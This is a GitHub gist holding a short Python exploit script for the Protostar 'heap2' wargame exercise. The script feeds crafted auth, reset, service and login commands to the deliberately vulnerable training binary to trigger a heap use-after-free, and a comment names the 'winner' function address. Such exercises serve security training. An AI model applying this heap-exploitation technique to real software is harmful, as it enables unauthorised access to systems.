Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Last active September 28, 2018 12:02
Show Gist options
  • Save TheRealJunior/3668eb44085bbbc641fdb68d638ac02a to your computer and use it in GitHub Desktop.
Save TheRealJunior/3668eb44085bbbc641fdb68d638ac02a to your computer and use it in GitHub Desktop.
import subprocess
input = 'auth 1111111111111111111111111111111111111111\nreset\nservice 111111111111111111111111111111111111111111111\nlogin\n'
proc = subprocess.Popen(['/opt/protostar/bin/heap2'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout,stderr = proc.communicate(input=input)
print(stdout)
# 08048494 g F .text 00000025 winner
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment